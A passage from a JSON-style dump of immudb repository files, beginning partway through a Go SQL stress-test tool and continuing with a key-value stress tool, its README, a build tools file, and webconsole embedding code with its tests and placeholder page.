1; i <= c.rdCount; i++ {\n\t\tr, err := tx.SQLQuery(ctx, \"SELECT count() FROM entries where id<=@i;\", map[string]interface{}{\"i\": i})\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error querying val %d: %s\", i, err.Error())\n\t\t}\n\t\tret := r.Rows[0]\n\t\tn := ret.Values[0].GetN()\n\t\tif n != int64(i) {\n\t\t\tlog.Printf(\"Transactions reader %d read %d vs %d\", id, n, i)\n\t\t}\n\t\tif c.readPause > 0 {\n\t\t\ttime.Sleep(time.Duration(c.readPause) * time.Millisecond)\n\t\t}\n\t}\n\t_, err = tx.Commit(ctx)\n\tif err != nil {\n\t\treturn\n\t}\n\twg.Done()\n\tlog.Printf(\"Transactions reader %d out\\n\", id)\n}\n\nfunc verifier(ctx context.Context, client immudb.ImmuClient, c cfg, id int, wg *sync.WaitGroup) {\n\tif c.readDelay > 0 { // give time to populate db\n\t\ttime.Sleep(time.Duration(c.readDelay) * time.Millisecond)\n\t}\n\tlog.Printf(\"Verifier %d is reading data\\n\", id)\n\tfor i := 0; i < c.vrCount; i++ {\n\t\tidx := 1 + i*c.verifiers + id\n\t\tr, err := client.SQLQuery(ctx, \"SELECT id, value, ts FROM entries WHERE id=@i;\", map[string]interface{}{\"i\": idx}, c.readRenew)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error querying val %d: %s\", i, err.Error())\n\t\t}\n\t\tif len(r.Rows) > 0 {\n\t\t\trow := r.Rows[0]\n\t\t\terr = client.VerifyRow(ctx, row, \"entries\", []*schema.SQLValue{row.Values[0]})\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Verification failed: verifier %d, id %d row %+v\", id, idx, row)\n\t\t\t}\n\t\t} else {\n\t\t\tlog.Printf(\"Verifier %d no results for id %d\", id, idx)\n\t\t}\n\t\tif c.readPause > 0 {\n\t\t\ttime.Sleep(time.Duration(c.readPause) * time.Millisecond)\n\t\t}\n\t}\n\twg.Done()\n\tlog.Printf(\"Verifier %d out\\n\", id)\n}\n\nfunc compactor(ctx context.Context, client immudb.ImmuClient, c cfg, wg *sync.WaitGroup) {\n\tfor i := 0; i < c.compactCycles; i++ {\n\t\ttime.Sleep(time.Duration(c.compactDelay) * time.Millisecond)\n\t\tlog.Printf(\"Compaction %d started\", i)\n\t\tclient.CompactIndex(ctx, &emptypb.Empty{})\n\t\tlog.Printf(\"Compaction %d terminated\", i)\n\t}\n\tlog.Printf(\"All compaction terminated\")\n\twg.Done()\n}\n\nfunc main() {\n\tlog.SetFlags(log.LstdFlags | log.Lshortfile)\n\tc := parseConfig()\n\n\tlog.Println(\"Connecting...\")\n\tclient, ctx := connect(c)\n\n\tlog.Printf(\"Creating tables\\r\\n\")\n\t_, err := client.SQLExec(ctx, \"CREATE TABLE IF NOT EXISTS entries (id INTEGER, value BLOB, ts INTEGER, PRIMARY KEY id);\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tids := idGenerator(c)\n\tentries := entriesGenerator(c, ids)\n\n\twg := sync.WaitGroup{}\n\n\tfor i := 0; i < c.committers; i++ {\n\t\twg.Add(1)\n\t\tif c.sessionMode && c.transactions {\n\t\t\tgo committerWithTxs(ctx, client, c, entries, i, &wg)\n\t\t} else {\n\t\t\tgo committer(ctx, client, c, entries, i, &wg)\n\t\t}\n\t}\n\n\tfor i := 0; i < c.readers; i++ {\n\t\twg.Add(1)\n\t\tif c.sessionMode && c.transactions {\n\t\t\tgo readerWithTxs(ctx, client, c, i, &wg)\n\t\t} else {\n\t\t\tgo reader(ctx, client, c, i, &wg)\n\t\t}\n\t}\n\tfor i := 0; i < c.verifiers; i++ {\n\t\twg.Add(1)\n\t\tgo verifier(ctx, client, c, i, &wg)\n\t}\n\tif c.compactDelay > 0 {\n\t\twg.Add(1)\n\t\tgo compactor(ctx, client, c, &wg)\n\t}\n\twg.Wait()\n\tlog.Printf(\"All operations done...\\r\\n\")\n\n\tr, err := client.SQLQuery(ctx, \"SELECT count() FROM  entries;\", map[string]interface{}{}, true)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trow := r.Rows[0]\n\tcount := row.Values[0].GetN()\n\tlog.Printf(\"- Counted %d entries\\n\", count)\n}\n"
  },
  {
    "path": "tools/testing/stress_tool_test_kv/README.md",
    "content": "# Stress tool for KV testing\n\nThis tool enables parallel stress test of immudb KV using randomized key / value entries.\nRandomized keys are a very heavy test for btree where reads / writes are scattered across\nwhole btree increasing internal btree cache pressure.\n\nBy default the test will connect to an immudb running on localhost.\nIt will run parallel workers, each worker first inserts the data, then it reads keys\nchecking if the read value is correct.\n\n## Mixed read-write mode\n\nIn order to test how database performs when parallel reads and writes are performed,\nuse the `-mix-read-writes` flag. By doing so, the test starts with first half of workers.\nOnce those workers finish their writes, they start the reading test and the second\nhalf of workers is spawned in parallel.\n\n## Sample invocation\n\n```sh\n# Run full test\ngo run .\n```\n\n```sh\n# Run quick test with reduced amount of entries\ngo run . -total-entries-written 200000 -total-entries-read 20000\n```\n\n```sh\n# Run quick test with mixed reads and writes\ngo run . -total-entries-written 200000 -total-entries-read 20000 -mix-read-writes\n```\n"
  },
  {
    "path": "tools/testing/stress_tool_test_kv/stress_tool_kv.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"sync\"\n\t\"time\"\n\n\tmrand \"math/rand\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n)\n\nvar (\n\tdbHostname = flag.String(\"host\", \"localhost\", \"immudb hostname\")\n\tdbPort     = flag.Int(\"port\", 3322, \"immudb port\")\n\tdbName     = flag.String(\"dbname\", \"defaultdb\", \"immudb database name\")\n\tdbUser     = flag.String(\"user\", \"immudb\", \"immudb username\")\n\tdbPassword = flag.String(\"password\", \"immudb\", \"immudb password\")\n\n\tparallelism   = flag.Int(\"parallelism\", 10, \"number of parallel jobs\")\n\tmixReadWrites = flag.Bool(\"mix-read-writes\", false, \"if true, mix read and write workloads\")\n\tseed          = flag.Int(\"seed\", 0, \"test seed\")\n\ttotalEntries  = flag.Int(\"total-entries-written\", 5_000_000, \"total number of entries written during the test\")\n\ttotalReads    = flag.Int(\"total-entries-read\", 10_000, \"total number of entries read during the test\")\n\trandKeyLen    = flag.Bool(\"randomize-key-length\", false, \"use randomized key lengths\")\n\n\thelp = flag.Bool(\"help\", false, \"show help\")\n)\n\ntype etaCalc struct {\n\twhat       string\n\tstart      time.Time\n\tlastReport time.Time\n\ttotalCount int\n}\n\nfunc newEtaCalc(what string, totalCount int) *etaCalc {\n\tnow := time.Now()\n\treturn &etaCalc{\n\t\twhat:       what,\n\t\tstart:      now,\n\t\tlastReport: now,\n\t\ttotalCount: totalCount,\n\t}\n}\n\nfunc (e *etaCalc) progress(progress int) {\n\tif time.Since(e.lastReport) >= time.Second {\n\t\ttimeElapsed := time.Since(e.start)\n\t\ttimeLeft := time.Duration(\n\t\t\tfloat64(timeElapsed) *\n\t\t\t\t(float64(e.totalCount-progress) / float64(progress)),\n\t\t)\n\n\t\tlog.Printf(\"%s: Entries: %d, elapsed: %v, ETA: %v\", e.what, progress, timeElapsed, timeLeft)\n\t\te.lastReport = time.Now()\n\t}\n}\n\nfunc (e *etaCalc) printTotal() {\n\tlog.Printf(\"%s: Finished in %v\", e.what, time.Since(e.start))\n}\n\nfunc testRun(\n\tseed int,\n\tinstance int,\n\tentriesCount int,\n\treadsCount int,\n\tperformWrites bool,\n\tperformReads bool,\n) {\n\n\tctx := context.Background()\n\n\tcl := immudb.NewClient().WithOptions(immudb.DefaultOptions().\n\t\tWithAddress(*dbHostname).\n\t\tWithPort(*dbPort),\n\t)\n\terr := cl.OpenSession(ctx, []byte(*dbUser), []byte(*dbPassword), *dbName)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer cl.CloseSession(ctx)\n\n\tvar seedKey [sha256.Size]byte\n\tvar seedVal [sha256.Size]byte\n\n\ts := sha256.Sum256([]byte(fmt.Sprintf(\"keyseed_%d_%d\", seed, instance)))\n\tcopy(seedKey[:], s[:])\n\ts = sha256.Sum256([]byte(fmt.Sprintf(\"valueseed_%d_%d\", seed, instance)))\n\tcopy(seedVal[:], s[:])\n\n\tkey := func(i int) []byte {\n\t\tvar b [8]byte\n\t\tcopy(b[:], seedKey[:])\n\t\tbinary.BigEndian.PutUint64(b[:], uint64(i))\n\t\tk := sha256.Sum256(b[:])\n\t\tkLen := len(k)\n\t\tif *randKeyLen {\n\t\t\tif k[kLen-1] > 200 {\n\t\t\t\treturn bytes.Repeat(k[:], 1000/len(k))\n\t\t\t}\n\n\t\t\tkLen = 8\n\n\t\t\tminLen := 3\n\t\t\tkLen = int(k[len(k)-1])%(len(k)-minLen) + minLen\n\t\t}\n\t\treturn k[:kLen]\n\t}\n\n\tval := func(i int) []byte {\n\t\tvar b [8]byte\n\t\tcopy(b[:], seedVal[:])\n\t\tbinary.BigEndian.PutUint64(b[:], uint64(i))\n\t\tk := sha256.Sum256(b[:])\n\t\treturn k[:]\n\t}\n\n\tif performWrites {\n\n\t\ttRep := newEtaCalc(fmt.Sprintf(\"Insertion %d\", instance), entriesCount)\n\t\tbatchSize := 1_000\n\t\tfor i := 0; i < entriesCount; i += batchSize {\n\n\t\t\talreadyAdded := map[string]struct{}{}\n\t\t\tkvs := []*schema.KeyValue{}\n\t\t\tfor j := 0; j < batchSize && i+j < entriesCount; j++ {\n\t\t\t\tk := key(i + j)\n\n\t\t\t\tks := string(k)\n\t\t\t\tif _, found := alreadyAdded[ks]; found {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\talreadyAdded[ks] = struct{}{}\n\n\t\t\t\tkvs = append(kvs, &schema.KeyValue{\n\t\t\t\t\tKey:   key(i + j),\n\t\t\t\t\tValue: val(i + j),\n\t\t\t\t})\n\t\t\t}\n\n\t\t\t_, err := cl.SetAll(ctx, &schema.SetRequest{\n\t\t\t\tKVs: kvs,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\ttRep.progress(i)\n\t\t}\n\t\ttRep.printTotal()\n\t}\n\n\tif performReads {\n\t\trnd := mrand.New(mrand.NewSource(int64(seed))) // We want predictable rand source\n\t\ttRep := newEtaCalc(\"Reading\", readsCount)\n\t\tfor i := 0; i < readsCount; i++ {\n\n\t\t\tj := rnd.Intn(entriesCount)\n\n\t\t\tv, err := cl.Get(ctx, key(j))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(\"Error while reading back data \", err)\n\t\t\t}\n\t\t\tif !bytes.Equal(v.Value, val(j)) {\n\t\t\t\tlog.Fatalf(\n\t\t\t\t\t\"Invalid value read (%d)\\n\"+\n\t\t\t\t\t\t\"key: %x\\n\"+\n\t\t\t\t\t\t\"expected: %x\\n\"+\n\t\t\t\t\t\t\"read: %x\",\n\t\t\t\t\tj, key(j), val(j), v.Value,\n\t\t\t\t)\n\t\t\t}\n\n\t\t\ttRep.progress(i)\n\t\t}\n\t\ttRep.printTotal()\n\t}\n}\n\nfunc entriesForInstance(i int) int {\n\t// Instances could be a little bit skewed in the number of entries they process\n\tstart := int(*totalEntries * i / *parallelism)\n\tend := int(*totalEntries * (i + 1) / *parallelism)\n\n\treturn end - start\n}\n\nfunc readsForInstance(i int) int {\n\t// Instances could be a little bit skewed in the number of entries they process\n\tstart := int(*totalReads * i / *parallelism)\n\tend := int(*totalReads * (i + 1) / *parallelism)\n\n\treturn end - start\n}\n\nfunc main() {\n\n\tflag.Parse()\n\n\tif *help {\n\t\tflag.PrintDefaults()\n\t\treturn\n\t}\n\n\twg := sync.WaitGroup{}\n\n\tgroup1Size := *parallelism / 2\n\n\t// First half - run writes, reads will\n\tfor i := 0; i < group1Size; i++ {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\ttestRun(*seed, i, entriesForInstance(i), readsForInstance(i), true, !*mixReadWrites)\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\n\t// For mixed workload, we have to wait for the writers to finish first, then we'll\n\t// overlap reads from the first group with writes in the second group\n\tif *mixReadWrites {\n\t\twg.Wait()\n\n\t\tfor i := 0; i < group1Size; i++ {\n\t\t\twg.Add(1)\n\t\t\tgo func(i int) {\n\t\t\t\ttestRun(*seed, i, entriesForInstance(i), readsForInstance(i), false, true)\n\t\t\t\twg.Done()\n\t\t\t}(i)\n\t\t}\n\t}\n\n\t// Second half of readers / writers\n\tfor i := group1Size; i < *parallelism; i++ {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\ttestRun(*seed, i, entriesForInstance(i), readsForInstance(i), true, true)\n\t\t\twg.Done()\n\t\t}(i)\n\t}\n\n\twg.Wait()\n}\n"
  },
  {
    "path": "tools.go",
    "content": "//go:build tools\n\npackage tools\n\nimport (\n\t_ \"github.com/golang/protobuf/proto\"\n\t_ \"github.com/grpc-ecosystem/grpc-gateway/protoc-gen-grpc-gateway\"\n\t_ \"github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger\"\n\t_ \"github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2\"\n\t_ \"github.com/mattn/goveralls\"\n\t_ \"github.com/ory/go-acc\"\n\t_ \"github.com/pseudomuto/protoc-gen-doc/cmd/protoc-gen-doc\"\n\t_ \"golang.org/x/tools/cmd/cover\"\n\t_ \"google.golang.org/grpc\"\n\t_ \"google.golang.org/grpc/cmd/protoc-gen-go-grpc\"\n\t_ \"google.golang.org/protobuf/cmd/protoc-gen-go\"\n)\n"
  },
  {
    "path": "webconsole/.gitignore",
    "content": "dist\n"
  },
  {
    "path": "webconsole/default/missing/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <title>No webconsole</title>\n    <meta http-equiv=\"Cache-Control\" content=\"no-cache, no-store, must-revalidate\" />\n    <meta http-equiv=\"Pragma\" content=\"no-cache\" />\n    <meta http-equiv=\"Expires\" content=\"0\" />\n    <style>\n      body {\n        background-color: #21222c;\n        font-family: Roboto, sans-serif;\n        color: rgb(185, 185, 185);\n      }\n      a, a:visited {\n          color: rgb(25, 118, 210);\n      }\n      .container {\n            position: absolute;\n            top: 50%;\n            left: 50%;\n            transform: translateX(-50%) translateY(-50%);\n        }\n    </style>\n    <title>immudb</title>\n  </head>\n  <body class=\"container\">\n    <img width=\"150\" src=\"mascot.png\" alt=\"immudb mascot\"/>\n    <p>immudb was built without web console support.</p>\n    <p>See <a href=\"https://github.com/codenotary/immudb/blob/master/BUILD.md\">here</a> for instructions, or download an <a href=\"https://github.com/codenotary/immudb/releases\">official build</a>.</p>\n  </body>\n</html>\n"
  },
  {
    "path": "webconsole/webconsole.go",
    "content": "//go:build webconsole\n// +build webconsole\n\npackage webconsole\n\nimport (\n\t\"embed\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"io/fs\"\n\t\"net/http\"\n)\n\n//go:embed dist/*\nvar content embed.FS\n\nfunc SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error {\n\tfSys, err := fs.Sub(content, \"dist\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tl.Infof(\"Webconsole enabled: %s\", addr)\n\tmux.Handle(\"/\", http.FileServer(http.FS(fSys)))\n\treturn nil\n}\n"
  },
  {
    "path": "webconsole/webconsole_default.go",
    "content": "//go:build !webconsole\n// +build !webconsole\n\npackage webconsole\n\nimport (\n\t\"embed\"\n\t\"io/fs\"\n\t\"net/http\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n)\n\n//go:embed default/*\nvar content embed.FS\n\nfunc SetupWebconsole(mux *http.ServeMux, l logger.Logger, addr string) error {\n\tfSys, err := fs.Sub(content, \"default\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tl.Infof(\"webconsole not built-in\")\n\tmux.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, \"/missing/\", http.StatusTemporaryRedirect)\n\t})\n\tmux.Handle(\"/missing/\", http.FileServer(http.FS(fSys)))\n\treturn nil\n}\n"
  },
  {
    "path": "webconsole/webconsole_default_test.go",
    "content": "//go:build !webconsole\n// +build !webconsole\n\npackage webconsole\n\nimport (\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestSetupWebconsoleDefault(t *testing.T) {\n\n\treq, err := http.NewRequest(\"GET\", \"/\", nil)\n\trequire.NoError(t, err)\n\n\thandler := http.NewServeMux()\n\terr = SetupWebconsole(handler, logger.NewSimpleLogger(\"webconsole\", os.Stderr), \"localhost:8080\")\n\trequire.NoError(t, err)\n\n\trr := httptest.NewRecorder()\n\thandler.ServeHTTP(rr, req)\n\n\tassert.Equal(t, http.StatusTemporaryRedirect, rr.Code)\n\n\tpage, err := ioutil.ReadAll(rr.Body)\n\trequire.NoError(t, err)\n\n\tassert.Contains(t, string(page), \"missing\")\n}\n"
  },
  {
    "path": "webconsole/webconsole_test.go",
    "content": "//go:build webconsole\n// +build webconsole\n\npackage webconsole\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestSetupWebconsole(t *testing.T) {\n\n\treq, err := http.NewRequest(\"GET\", \"/\", nil)\n\trequire.NoError(t, err)\n\n\thandler := http.NewServeMux()\n\tSetupWebconsole(handler, logger.NewSimpleLogger(\"webconsole\", os.Stderr), \"localhost:8080\")\n\trequire.NoError(t, err)\n\n\trr := httptest.NewRecorder()\n\thandler.ServeHTTP(rr, req)\n\n\tassert.Equal(t, http.StatusOK, rr.Code)\n\n\tpage, err := ioutil.ReadAll(rr.Body)\n\trequire.NoError(t, err)\n\n\tassert.Contains(t, string(page), \"<title>immudb webconsole</title>\")\n}\n"
  }
]